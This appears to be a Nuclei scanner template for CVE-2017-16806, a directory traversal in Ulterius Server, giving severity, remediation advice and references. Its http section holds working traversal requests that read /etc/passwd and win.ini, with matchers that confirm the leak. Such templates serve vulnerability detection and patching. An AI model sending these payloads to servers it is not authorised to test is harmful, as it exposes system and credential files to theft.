id: CVE-2017-16806

info:
  name: Ulterius Server < 1.9.5.0 - Directory Traversal
  author: geeknik
  severity: high
  description: Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
  remediation: |
    Upgrade Ulterius Server to version 1.9.5.0 or later to mitigate the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/43141
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16806
    - https://github.com/Ulterius/server/commit/770d1821de43cf1d0a93c79025995bdd812a76ee
    - https://www.exploit-db.com/exploits/43141/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16806
    cwe-id: CWE-22
    epss-score: 0.86498
    epss-percentile: 0.99426
    cpe: cpe:2.3:a:ulterius:ulterius_server:1.5.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ulterius
    product: ulterius_server
  tags: cve2017,cve,ulterius,traversal,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e36b1a91e48edba8fd0b517b9840bb99b0921e0771db10b8011856471bb6615c022100fe6d0433d8284ec1d7bfa9555f7c9c14f8a1047211be182bf9c14e314559a10c:922c64590222798bb761d5b6d8e72950